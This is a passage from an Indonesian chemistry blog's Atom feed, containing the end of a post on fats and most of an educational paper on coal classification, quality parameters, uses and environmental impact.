(superkonsentrat)&lt;br /&gt;• Pelembut kain ultra&lt;br /&gt;• Pencuci piring otomatis gel&lt;br /&gt;• Produk pencuci baju dan pembersih refil&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;DAFTAR PUSTAKA&lt;br /&gt;&lt;br /&gt;Brahmana, H.R., R. Dalimunthe dan M. Ginting, 1998, Pemanfaatan Asam Lemak Bebas Minyak Kelapa Sawit dan Inti Sawit Dalam Pembuatan Nilon 9,9 dan Ester Sorbitol Asam Lemak, Laporan RUT III – Kantor Menteri Negara Riset dan Teknologi, Dewan Riset Nasional, Jakarta.&lt;br /&gt;Carey, F.A. dan R.J. Sundberg, 1993, Advanced Organic Chemistry, Part. B : Reaction and Synthesis, edisi ketiga, Plenum Press, London.&lt;br /&gt;Endo, Y., H. Sanae dan F. Kenshiro, 1997, Autooxidation of Synthetic Isomers ofTriacylglycerol Containing Eicosapentaenoic Acid, J.Am.Oil Chem.Soc., 74, 5,543 – 548.&lt;br /&gt;Fessenden, R.J. dan J.S.Fessenden, 1990, Organic Chemistry, edisi keempat, Brooks Cole Publishing Company, Pacific Grove, California.&lt;br /&gt;Gandhi, N.N., 1997, Application of Lipase, J.Am.Oil Chem.Soc., 74, 6, 621 – 634.&lt;br /&gt;http://indocelebes.blogspot.com/2009/03/lemak.html&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5086261943719715810-3029107965060179064?l=achmadkimia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://achmadkimia.blogspot.com/feeds/3029107965060179064/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://achmadkimia.blogspot.com/2009/10/identifikasi-lemak-lemak-merupakan.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/3029107965060179064'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/3029107965060179064'/><link rel='alternate' type='text/html' href='http://achmadkimia.blogspot.com/2009/10/identifikasi-lemak-lemak-merupakan.html' title=''/><author><name>achmad</name><uri>http://www.blogger.com/profile/13849140095283170169</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://1.bp.blogspot.com/_lylI1wyyUFQ/So8PRPcL_KI/AAAAAAAAAAo/9mHpDhuPmXU/S220/f0toQ2474.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5086261943719715810.post-1747581516423153828</id><published>2009-08-21T12:40:00.000-07:00</published><updated>2009-08-22T22:44:02.296-07:00</updated><title type='text'>identifikasi batubara</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_lylI1wyyUFQ/So77H6M--fI/AAAAAAAAAAM/23tF6kLdlDY/s1600-h/DSC00512.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_lylI1wyyUFQ/So77H6M--fI/AAAAAAAAAAM/23tF6kLdlDY/s320/DSC00512.JPG" alt="" id="BLOGGER_PHOTO_ID_5372507518800951794" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;BAB 1&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;PENDAHULUAN&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color: rgb(153, 0, 0); font-weight: bold;"&gt;1.1 Latar belakang&lt;/span&gt;&lt;br /&gt;Batubara merupakan bahan bakar fosil berupa mineral organik yang dapat terbakar, yang terbentuk dari sisa tumbuhan purba yang mengendap yang selanjutnya berubah bentuk akibat proses fisika dan kimia yang berlangsung selama jutaan tahun.&lt;br /&gt;Pada saat ini, penggunaan batubara sebagai alternatif sumber energi primer sedang naik pamor, dibandingkan penggunaan minyak dan gas yang harganya relatif lebih mahal. Selain didasari juga oleh beberapa faktor lain, seperti tersedianya cadangan batubara yang sangat banyak dan tersebar luas, sekitar lebih dari 984 milyar ton tersebar di seluruh dunia. Kemudian, batubara dapat diperoleh dari banyak sumber di pasar dunia dengan pasokan yang stabil, serta aman untuk ditransportasikan dan disimpan. Kemudian, pengaruh pemanfaatan batubara terhadap lingkungan disekitarnya sudah dipahami dan dipelajari secara luas, sehingga teknologi batubara bersih dapat dikembangkan dan diaplikasikan.&lt;span class="fullpost"&gt;&lt;br /&gt;Dalam makalah ini dituliskan mengenai klasifikasi batubara yang ditentukan berdasarkan hasil analisa terhadap beberapa parameter batubara, yaitu seperti Pengklasifikasian batubara didasarkan pada derajat dan kualitas dari batubara tersebut, atau pun pengklasifikasian batubara tersebut berdasarkan umurnya. Batubara dan minyak bumi merupakan bahan karbon. Secara umum klasifikasi hidrokarbon dibagi menjadi tiga yaitu: Gaseous, Bituminuous( batubara dan minyak bumi), Waxy. Klasifikasi batubara ditentukan berdasarkan hasil analisa terhadap beberapa parameter batubara. Dari klasifikasi ini dapat dilihat peringkat batubara. Berdasarkan klasifikasi menurut Faser yaitu: Type Fuel Ratio; Antracite 100-12; Semi Antracite 12-8; Semi Bituminous 8-5; Bituminous 5-0.&lt;br /&gt;Jadi Batu bara itu adalah bahan bakar fosil. Batu bara dapat terbakar, terbentuk dari endapan, batuan organik yang terutama terdiri dari karbon, hidrogen dan oksigen. Batu bara terbentuk dari tumbuhan yang telah terkonsolidasi antara strata batuan lainnya dan diubah oleh kombinasi pengaruh tekanan dan panas selama jutaan tahun sehingga membentuk lapisan batu bara. Batu bara dengan mutu yang rendah, seperti batu bara muda dan sub-bitumen biasanya lebih lembut dengan materi yang rapuh dan berwarna suram seperti tanah. Baru bara muda memilih tingkat kelembaban yang tinggi dan kandungan karbon yang rendah, dan dengan demikian kandungan energinya rendah. Batu bara muda biasanya digunakan untuk pembangkit tenaga listrik dan persentase penggunaan cadangannya didunia sekitar 17 %, sedangkan untuk sub-bitumen biasanya digunakan untuk Pembangkit listrik, Produksi semen dan Penggunaan untuk industri. Sub-bitumen ini penggunaan cadangannya didunia sekitar 30 % Batu bara dengan mutu yang lebih tinggi umumnya lebih keras dan kuat dan seringkali berwarna hitam cemerlang seperti kaca. Batu bara dengan mutu yang lebih tinggi memiliki kandungan karbon yang lebih banyak, tingkat kelembaban yang lebih rendah dan menghasilkan energi yang lebih banyak. Biasanya batubara yang tergolong seperti ini adalah bitumen dan antrasit. Bitumen penggunaan cadangannya didunia sekitar 52 % dan antrasit penggunaan cadangannya didunia sekitar 1 %. Antrasit merupakan batubara yang paling tinggi mutunya yang biasanya digunakan untuk bahan bakar minyak tanpa asap.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0); font-weight: bold;"&gt;1.2 Tujuan&lt;/span&gt;&lt;br /&gt;- Mempelajari pengklasifikasian batubara didasarkan pada derajat dan kualitas batubara&lt;br /&gt;- Mempelajari Rank yaitu peringkat dan derajad batubara berdasarkan proses pengubahan atau genesa batubara&lt;br /&gt;- Mempelajari Derajad batubara dalam pengklasifikasian batubara&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;BAB 2&lt;/span&gt; &lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;PEMBAHASAN&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Batubara merupakan bahan bakar fosil berupa mineral organik yang dapat terbakar, yang terbentuk dari sisa tumbuhan purba yang mengendap yang selanjutnya berubah bentuk akibat proses fisika dan kimia yang berlangsung selama jutaan tahun.&lt;br /&gt;Pada saat ini, penggunaan batubara sebagai alternatif sumber energi primer sedang naik pamor, dibandingkan penggunaan minyak dan gas yang harganya relatif lebih mahal. Selain didasari juga oleh beberapa faktor lain, seperti tersedianya cadangan batubara yang sangat banyak dan tersebar luas, sekitar lebih dari 984 milyar ton tersebar di seluruh dunia. Kemudian, batubara dapat diperoleh dari banyak sumber di pasar dunia dengan pasokan yang stabil, serta aman untuk ditransportasikan dan disimpan. Kemudian, pengaruh pemanfaatan batubara terhadap lingkungan disekitarnya sudah dipahami dan dipelajari secara luas, sehingga teknologi batubara bersih dapat dikembangkan dan diaplikasikan.&lt;br /&gt;Rank merupakan peringkat dan derajad batubara berdasarkan proses pengubahan atau genesa batubara.peringkat batubara adalah dasar klasifikasi dari lignit ke antrasit. Peringkat batubara naik pada proses pembentukan batubara, metamorfosis menyebabkan kandungan sat terbang menurun. Peringkat batubara yang tertinggi menunjukkan metamorfosis yang lebih besar. Peringkat batubara secara umum adalah lignit, batubara sub-bitumen, batubara bitumen dan antrasit (urutan peringkat rendah keperingkat tertinggi). Rank calculation: perhitungan peringkat batubara (lihat rank).&lt;br /&gt;Rank variety : jenis-jenis batubara berdasarkan urutan metamorfosis. Penentuan jenis-jenis batubara secara umum adalah merupakan hasil pemikiran para pakar tetapi juga dengan pertimbangan sifat-sifat kimia dan fisika.&lt;br /&gt;Derajat batubara adalah posisi batubara pada seri kualifikasi mulai dari gambut sampai antrasit. Perkembangannya sangat dipengaruhi oleh temperatur, tekanan dan waktu (Lopatin, 1971; Bostick, 1973). Banyak parameter yang telah dipergunakan untuk penentuan derajat batubara (cook, 1982), salah satu diantaranya adalah refleksi vitrinit. Cara ini belum dikenal di Indonesia, tetapi telah berkembang pesat di Amerika, JErman, Australia dan lain-lain, terutama perusahaan-perusahaan yang berkecimpung di dalam eksplorasi minyak dan gas. Semua jenis mineral bisa diukur refleksinya, tetapi kelompok vitrinit adalah yang umum dipilih. Kelompok ini cenderung terbentuk sebagai pecahan-pecahan kasar dan homogen, merupakan kelompok maseral utama pada kebanyakan batubara dan menunjukkan korelasi yang bagus dengan parameter lain yang dipakai sebagai indikasi derajat batubara. Dengan cara refleksi vbitrinit ini, pengukuran dapat dilakukan dengan singkat dan pasti.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="color:#006600;"&gt;Klasifikasi Batubara&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Pengklasifikasian batubara didasarkan pada derajat dan kualitas dari batubara tersebut, yaitu:&lt;br /&gt;&lt;b&gt;a) Gambut (peat)&lt;/b&gt;&lt;br /&gt;Golongan ini sebenarnya belum termasuk jenis batubara, tapi merupakan bahan bakar. Hal ini disebabkan karena masih merupakan fase awal dari proses pembentukan batubara. Endapan ini masih memperlihatkan sifat awal dari bahan dasarnya (tumbuh-tumbuhan). Gambut, berpori dan memiliki kadar air di atas 75% serta nilai kalori yang paling rendah.&lt;br /&gt;&lt;b&gt;b) Lignite &lt;/b&gt;(Batubara Cokelat, ”Brown Coal”)&lt;br /&gt;Golongan ini sudah memperlihatkan proses selanjutnya berupa struktur kekar dan gejala pelapisan. Apabila dikeringkan, maka gas dan airnya akan keluar. Endapan ini bisa dimanfaatkan secara terbatas untuk kepentingan yang bersifat sederhana, karena panas yang dikeluarkan sangat rendah. Lignit atau batu bara coklat adalah batu bara yang sangat lunak yang mengandung air 35-75% dari beratnya. . Batu bara ini berwarna hitam, sangat rapuh, nilai kalor rendah dengan kandungan karbon yang sangat sedikit, kandungan abu dan sulfur yang banyak. Batu bara jenis ini dijual secara eksklusif sebagai bahan bakar untuk pembangkit listrik tenaga uap (PLTU).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;c) Sub-Bituminous&lt;/b&gt; (Bitumen Menengah)&lt;br /&gt;Golongan ini memperlihatkan ciri-ciri tertentu yaitu warna yang kehitam-hitaman dan sudah mengandung lilin. Endapan ini dapat digunakan untuk pemanfaatan pembakaran yang cukup dengan temperatur yang tidak terlalu tinggi. Sub-bituminus mengandung sedikit karbon dan banyak air, dan oleh karenanya menjadi sumber panas yang kurang efisien dibandingkan dengan bituminus. karakteristiknya berada di antara batu bara lignite dan bituminous, terutama digunakan sebagai bahan bakar untuk PLTU. Sub-bituminous coal mengandung sedikit carbon dan banyak air, dan oleh karenanya menjadi sumber panas yang tidak efisien.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;d) Bituminous&lt;/b&gt;&lt;br /&gt;Golongan ini dicirikan dengan sifat-sifat yang padat, hitam, rapuh (brittle) dengan membentuk bongkah-bongkah prismatik. Berlapis dan tidak mengeluarkan gas dan air bila dikeringkan. Endapan ini dapat digunakan antara lain untuk kepentingan transportasi dan industri. Bituminus mengandung 68 - 86% unsur karbon (C) dan berkadar air 8-10% dari beratnya. Kelas batu bara yang paling banyak ditambang di Australia. . Umumnya dipakai untuk PLTU, tapi dalam jumlah besar juga dipakai untuk pemanas dan aplikasi sumber tenaga dalam industri dengan membentuknya menjadi kokas-residu karbon berbentuk padat.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;e) Anthracite&lt;/b&gt;&lt;br /&gt;Golongan ini berwarna hitam, keras, kilap tinggi, dan pecahannya memperlihatkan pecahan chocoidal. Pada proses pembakaran memperlihatkan warna biru dengan derajat pemanasan yang tinggi. Digunakan untuk berbagai macam industri besar yang memerlukan temperatur tinggi. Antrasit adalah kelas batu bara tertinggi, dengan warna hitam berkilauan (luster) metalik, mengandung antara 86% - 98% unsur karbon (C) dengan kadar air kurang dari 8%, terbakar lambat, dengan batasan nyala api biru (pale blue flame) dengan sedikit sekali asap.&lt;br /&gt;&lt;br /&gt;Semakin tinggi kualitas batubara, maka kadar karbon akan meningkat, sedangkan hidrogen dan oksigen akan berkurang. Batubara bermutu rendah, seperti lignite dan sub-bituminous, memiliki tingkat kelembaban (moisture) yang tinggi dan kadar karbon yang rendah, sehingga energinya juga rendah. Semakin tinggi mutu batubara, umumnya akan semakin keras dan kompak, serta warnanya akan semakin hitam mengkilat. Selain itu, kelembabannya pun akan berkurang sedangkan kadar karbonnya akan meningkat, sehingga kandungan energinya juga semakin besar.&lt;br /&gt;Banyak para ahli mencoba untuk mengelompokkan jenis batubara tersebut berdasarkan parameter tersebut di atas, tapi yang paling banyak dipergunakan orang ialah berdasarkan umurnya (rank).&lt;br /&gt;&lt;b&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="color:#006600;"&gt;Secara umum batubara diklasifikasikan sebagai berikut :&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;1. Peat (gambut), sebagian para ahli mengatakan bahwa peat bukan batubara karena masih mengandung selulosa bebas, tapi sebagian lagi menyatakan bahwa peat adalah batubara muda. Carbon = 60% – 64% (dmmf), Oxygen = 30% (dmmf)&lt;br /&gt;2. Lignite, Carbon = 64% – 75% (dmmf), Oxygen = 20% – 25% (dmmf)&lt;br /&gt;3. Sub-bituminous, Carbon = 75% – 83% (dmmf), Oxygen = 10% – 20% (dmmf)&lt;br /&gt;4. Bituminous, Carbon = 83% – 90% (dmmf), Oxygen = 5% – 15% (dmmf)&lt;br /&gt;5. Semi-anthracdite, Carbon = 90% – 93% (dmmf), Oxygen = 2% – 4% (dmmf)&lt;br /&gt;6. Anthracite, Carbon = &gt; 93%&lt;br /&gt;&lt;b&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="color:#006600;"&gt;Di bawah ini adalah klasifikasi yang banyak dipergunakan orang&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;1. ASTM Classification&lt;/b&gt;&lt;br /&gt;Sistem klasifikasi ini mempergunakan volatile matter (dmmf), fixed carbon (dmmf) dan calorific value (dmmf) sebagai patokan.&lt;br /&gt;Untuk anthracite, fixed carbon (dmmf) merupakan patokan utama, sedangkan volatile matter (dmmf) sebagai patokan kedua. Bituminous mempergunakan volatile matter (dmmf) sebagai patokan kedua. Lignite mempergunakan calorific value (dmmf) sebagai patokan.&lt;br /&gt;&lt;b&gt;2. Ralston’s Classification&lt;/b&gt;&lt;br /&gt;Ralston’s mempergunakan hasil analisa ultimate yang sudah dinormalisasi (C + H + O = 100). Ditampilkan dalam bentuk triaxial plot. Band yang terdapat pada triaxial plot tersebut ialah area dimana batubara berada.&lt;br /&gt;&lt;b&gt;3. Seyler’s Classification&lt;/b&gt;&lt;br /&gt;System klasifikasi ini mempergunakan % carbon (dmmf) dan % hydrogen (dmmf) sebagai dasar utama. Klasifikasi ini ditampilkan dalam bentuk beberapa grafik kecil yang bertumpu pada grafik utama. Grafik utama menghubungkan % carbon (dmmf) dengan % hydrogen (dmmf). sedangkan grafik kecil menggambarkan hubungan calorific value (dmmf) dengan % volatile matter (dmmf) dan % moisture (adb), menggambarkan % oxygen (dmmf), crucible swelling number dan rasio O/H=8.&lt;br /&gt;Ditengah grafik tersebut terdapat band yang menggambarkan yang menggambarkan area dimana 95% batubara inggris akan berada serta menunjukkan jenisnya.Batubara yang jatuh di atas band disebut per-hydrous sedangkan yang jatuh di bawahnya disebut sub-hyrous. Seyler’s chart ini tidak cocok untuk low rank coal.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;4. ECE Classification&lt;/b&gt;&lt;br /&gt;ECE membuat system klasifikasi yang dapat dipergunakan secara luas, pada tahun 1965 yang kemudian menjadi standar international.Sistem ini mengelompokkan batubara dalam class, group dan sub-group.&lt;br /&gt;Coal class mempergunakan calorific value atau volatile matter sebagai patokan. Coal group mempergunakan Gray-king coke type atau maximum dilatation pada Audibert-Arnu dilatometer test sebagai patokan, sedangkan coal sub-group mempergunakan crucible swelling number dan Roga test sebagai patokan.&lt;br /&gt;Sistem ini mampu menunjukkan coal rank dan potensi penggunaannya, terutama coal group dan coal sub-group yang menjelaskan perilaku batubara jika dipanaskan secara perlahan maupun secara cepat sehingga dapat memberikan gambaran kemungkinan penggunaannya. Pada tahun 1988 sistem ini dirubah dengan lebih menekankan pada pengukuran petrographic.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="fullpost"&gt;&lt;b&gt;5. International Classification of Lignites&lt;/b&gt;&lt;br /&gt;ISO 2960:1974 “Brown Coals and Lignites. Classification by Type on the Basis of Total Moisture content and Tar Yield”. Mengelompokkan batubara yang mempunyai heating value (moist,ash free) lebih kecil dari 5700 cal/g. Batubara dikelompokkan dalam coal class dengan patokan total moisture dan coal group dengan patokan tar yield.&lt;br /&gt;Tar yield diukur dengan Gray-King Assay, dimana batubara didestilasi dan hasilnya berupa gas, air, cairan, tar dan char dilaporkan dalam persen. Tar yield mempunyai korelasi dengan hydrogen dan pengukuran ini cukup baik sebagai indicator komposisi petrographic.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="color:#006600;"&gt;Penambangan dan Pengolahan Batubara&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;Penambangan batubara dilakukan dengan dua metode, yaitu tambang bawah tanah dan tambang terbuka. Pemilihan metode penambangan ini berdasarkan pada unsur geologi dari endapan batubara dan pertimbangan ekonomisnya.&lt;br /&gt;Batubara yang langsung diambil dari bawah tanah sering kali memiliki kandungan campuran yang tidak diinginkan seperti batu dan lumpur, dan berbentuk pecahan dengan berbagai ukuran, padahal pengguna batubara membutuhkan batubara dengan mutu yang konsisten. Oleh karena itu, dilakukan pengolahan batubara yang mengarah pada penanganan batubara untuk menjamin mutu yang konsisten dan kesesuaian dengan pengguna akhir tertentu. Pengolahan tersebut tergantung pada kandungan batubara dan tujuan penggunaannya. Batubara tersebut mungkin hanya memerlukan pemecahan sederhana atau mungkin memerlukan proses pengolahan yang kompleks untuk mengurangi kandungan campuran yang terdapat pada batubara.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="color:#006600;"&gt;Distribusi Batubara&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;Cara pengangkutan batubara ke tempat batubara tersebut akan digunakan tergantung pada jaraknya. Untuk jarak dekat, umumnya diangkut dengan menggunakan belt conveyor atau truk. Untuk jarak yang lebih jauh di dalam pasar dalam negeri, batubara diangkut menggunakan kereta api atau tongkang atau dengan alternatif lain dimana batubara dicampur dengan air untuk membentuk bubur batu dan diangkut melalui jaringan pipa. Sedangkan untuk pengangkutan internasional, umumnya digunakan kapal laut. Pengangkutan batubara ini dapat sangat mahal, bahkan dapat mencapai 70% dari biaya pengiriman batubara.&lt;br /&gt;&lt;br /&gt;Penggunaan Batubara&lt;br /&gt;Batubara memiliki berbagai penggunaan yang penting di seluruh dunia. Penggunaan yang paling penting adalah untuk membangkitkan tenaga listrik, produksi baja, pembuatan semen dan proses industri lainnya serta bahan bakar cair. Selain itu, batubara juga merupakan suatu bahan yang penting dalam pembuatan produk-produk tertentu seperti karbon aktif (digunakan pada saringan air dan pembersih udara serta mesin pencuci darah), serat karbon (bahan pengeras yang sangat kuat namun ringan yang digunakan pada konstruksi), dan metal silikon (digunakan untuk memproduksi silikon dan silan, yang digunakan untuk membuat pelumas, bahan kedap air, dan resin). Hasil sampingan dari batubara juga dapat digunakan untuk memproduksi beberapa produk kimia seperti minyak kreosot, naftalen, fenol, dan benzene.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="color:#006600;"&gt;Analisa Kualitas Batubara&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;Dalam pemanfaatannya, batubara harus diketahui terlebih dahulu kualitasnya. Hal ini dimaksudkan agar spesifikasi mesin atau peralatan yang memanfaatkan batubara sebagai bahan bakarnya sesuai dengan mutu batubara yang akan digunakan, sehingga mesin-mesin tersebut dapat berfungsi optimal dan tahan lama. Analisa yang dilakukan antara lain analisa proximate, analisa ultimate, mineral matters, physical &amp;amp; electrical properties, thermal properties, mechanical properties, spectroscopic properties, dan solvent properties.&lt;br /&gt;&lt;b&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="color:#006600;"&gt;Secara umum, parameter kualitas batubara yang sering digunakan adalah:&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;a) Kalori &lt;/b&gt;(Calorivic Value atau CV, satuan cal/gr atau kcal/gr)&lt;br /&gt;CV merupakan indikasi kandungan nilai energi yang terdapat pada batubara, dan merepresentasikan kombinasi pembakaran dari karbon, hidrogen, nitrogen, dan sulfur.&lt;br /&gt;&lt;b&gt;b) Kadar kelembaban &lt;/b&gt;(Moisture, satuan persen)&lt;br /&gt;Hasil analisis untuk kelembaban terbagi menjadi free moisture (FM) dan inherent moisture (IM). Jumlah dari keduanya disebut dengan Total Moisture (TM). Kadar kelembaban ini mempengaruhui jumlah pemakaian udara primer untuk mengeringkan batubara tersebut.&lt;br /&gt;&lt;b&gt;c) Zat terbang &lt;/b&gt;(Volatile Matter atau VM, satuan persen)&lt;br /&gt;Kandungan VM mempengaruhi kesempurnaan pembakaran dan intensitas api. Hal ini didasarkan pada rasio atau perbandingan antara kandungan karbon (fixed carbon) dengan zat terbang, yang disebut dengan rasio bahan bakar (fuel ratio). Semakin tinggi nilai fuel ratio, maka jumlah karbon di dalam batubara yang tidak terbakar juga semakin banyak. Jika perbandingan tersebut nilainya lebih dari 1,2 maka pengapian akan kurang bagus sehingga mengakibatkan kecepatan pembakaran menurun.&lt;br /&gt;&lt;b&gt;d) Kadar abu&lt;/b&gt; (Ash content, satuan persen)&lt;br /&gt;Semakin tinggi kadar abu, secara umum akan mempengaruhi tingkat pengotoran, keausan, dan korosi peralatan yang dilalui.&lt;br /&gt;&lt;b&gt;e) Kadar sulfur &lt;/b&gt;(Sulfur content, satuan persen)&lt;br /&gt;Kandungan sulfur dalam batubara biasanya dinyatakan dalam Total Sulfur (TS). Kandungan sulfur ini berpengaruh terhadap tingkat korosi sisi dingin yang terdapat pada pemanas udara, terutama apabila suhu kerja lebih rendah daripada titik embun sulfur. Selain itu, berpengaruh juga terhadap efektivitas penangkapan abu pada electrostatic presipitator.&lt;br /&gt;&lt;b&gt;f) Kadar karbon &lt;/b&gt;(Fixed carbon atau FC, satuan persen)&lt;br /&gt;Nilai kadar karbon ini semakin bertambah seiring dengan meningkatnya kualitas batubara. Kadar karbon dan jumlah zat terbang digunakan sebagai perhitungan untuk menilai kualitas bahan bakar, yaitu berupa nilai fuel ratio.&lt;br /&gt;&lt;b&gt;g) Ukuran&lt;/b&gt; (Coal size)&lt;br /&gt;Ukuran batubara dibatasi pada rentang butir halus dan butir kasar. Butir paling halus untuk ukuran maksimum 3 mm, sedangkan butir paling kasar sampai dengan ukuran 50 mm.&lt;br /&gt;&lt;b&gt;h) Tingkat ketergerusan&lt;/b&gt; (Hardgrove Grindability Index atau HGI)&lt;br /&gt;Kinerja pulverizer atau mill dirancang pada nilai HGI tertentu. Untuk HGI lebih rendah, mesin harus beroperasi lebih rendah dari nilai standarnya untuk menghasilkan tingkat kehalusan yang sama.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="color:#006600;"&gt;Batubara dan Lingkungan Hidup&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;Konsumsi energi kita dapat memiliki dampak penting terhadap lingkungan hidup. Menekan dampak negatif dari kegiatan manusia terhadap lingkungan hidup merupakan prioritas global. Sementara batubara memberikan kontribusi yang penting bagi perkembangan ekonomi dan sosial di seluruh dunia, dampak terhadap lingkungan hidup merupakan suatu masalah.&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="color:#FF6600;"&gt;Masalah yang berkaitan dengan batubara antara lain:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;▪ Tambang batubara&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;Gangguan lahan, amblesan tambang, pencemaran air, serta polusi debu dan suara.&lt;br /&gt;&lt;b&gt;&lt;i&gt;▪ Penggunaan batubara&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;Munculnya polutan, seperti oksida belerang dan nitrogen (SOx dan NOx), partikel dan unsur penelusuran (merkuri), emisi karbondioksida (CO2), dan emisi partikel-partikel halus (abu).&lt;br /&gt;Untuk mengurangi dampak-dampak negatif tersebut, digunakanlah teknologi batubara bersih (Clean Coal Technology), yang mampu meningkatkan kinerja lingkungan batubara. Teknologi ini dapat mengurangi emisi, mengurangi limbah, dan meningkatkan jumlah energi yang diperoleh dari setiap ton batubara.&lt;br /&gt;Contoh teknologi batubara bersih antara lain teknologi pembersihan dan pengolahan batubara untuk meningkatkan mutu batubara dengan menurunkan kadar belerang dan mineral. Kemudian, penggunaan electrostaric presipitator untuk menangkap emisi partikel-partikel halus. Kemudian, penggunaan FGD (flue gas desulphurization) untuk meminimalisasi emisi SOx , serta SCR (Selective Catalytic Reduction) dan SNCR (Selective Non Catalytic Reduction) untuk mengurangi emisi NOx. Selain itu, untuk mengurangi emisi SOx dan NOx juga dapat digunakan teknologi FBC (Fluidized Bed Combustion). Sedangkan teknologi untuk mengurangi emisi CO2 adalah CCS (Carbon Capture and Storage). Teknologi-teknologi tersebut selain dapat mengurangi emisi batubara, juga dapat meningkatkan efektivitas dari pembakaran batubara.&lt;br /&gt;&lt;br /&gt;Indeks Harga Batubara&lt;br /&gt;Indonesian Coal Indices incorporating assessments by Argus Media and PT Coalindo&lt;br /&gt;Grade Basis Price(US$/ton)&lt;br /&gt;Indonesian 6500 Kcal GAR 148.90&lt;br /&gt;Indonesian 5800 Kcal GAR 126.47&lt;br /&gt;Indonesian 5000 Kcal GAR 87.48&lt;br /&gt;Indonesian 4200 Kcal GAR 48.83&lt;br /&gt;Tabel 1. Indonesian Coal Index (ICI) 8 Agustus 2008&lt;br /&gt;ICI yang selalu berubah setiap minggu ini disusun oleh PT. Coalindo Energy dan Argus Media, yang merupakan lembaga pricing dari Inggris. ICI disusun oleh panelis ahli yang terdiri dari 21 orang, dimana sebanyak delapan orang merupakan produsen batubara, delapan orang konsumen pembeli, dan lima orang broker.&lt;br /&gt;Dengan adanya ICI, maka Indonesia memiliki patokan harga jual batubara untuk pasar domestik maupun pasar internasional. Selain itu, Indonesia juga jadi mampu menjadi negara yang menentukan harga batubara yang diproduksinya tanpa tergantung pada harga internasional seperti London Stock Exchange (LME), Barlow Jonker, atau Platt.&lt;br /&gt;Indonesia saat ini menjadi negara eksportir batubara terbesar di dunia menggeser Australia. Saat ini Indonesia memiliki cadangan batubara mencapai 61,3 miliar ton, dimana sebanyak 6,7 miliar ton merupakan cadangan terbukti.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;BAB 3&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;PENUTUP&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(153, 0, 0);"&gt;3.1 Kesimpulan&lt;/span&gt;&lt;br /&gt;&lt;b&gt;- &lt;/b&gt;Pengklasifikasian batubara didasarkan pada derajat dan kualitas dari batubara tersebut yaitu: a) Gambut (peat), Gambut, berpori dan memiliki kadar air di atas 75% serta nilai kalori yang paling rendah. Merupakan fase awal dari proses 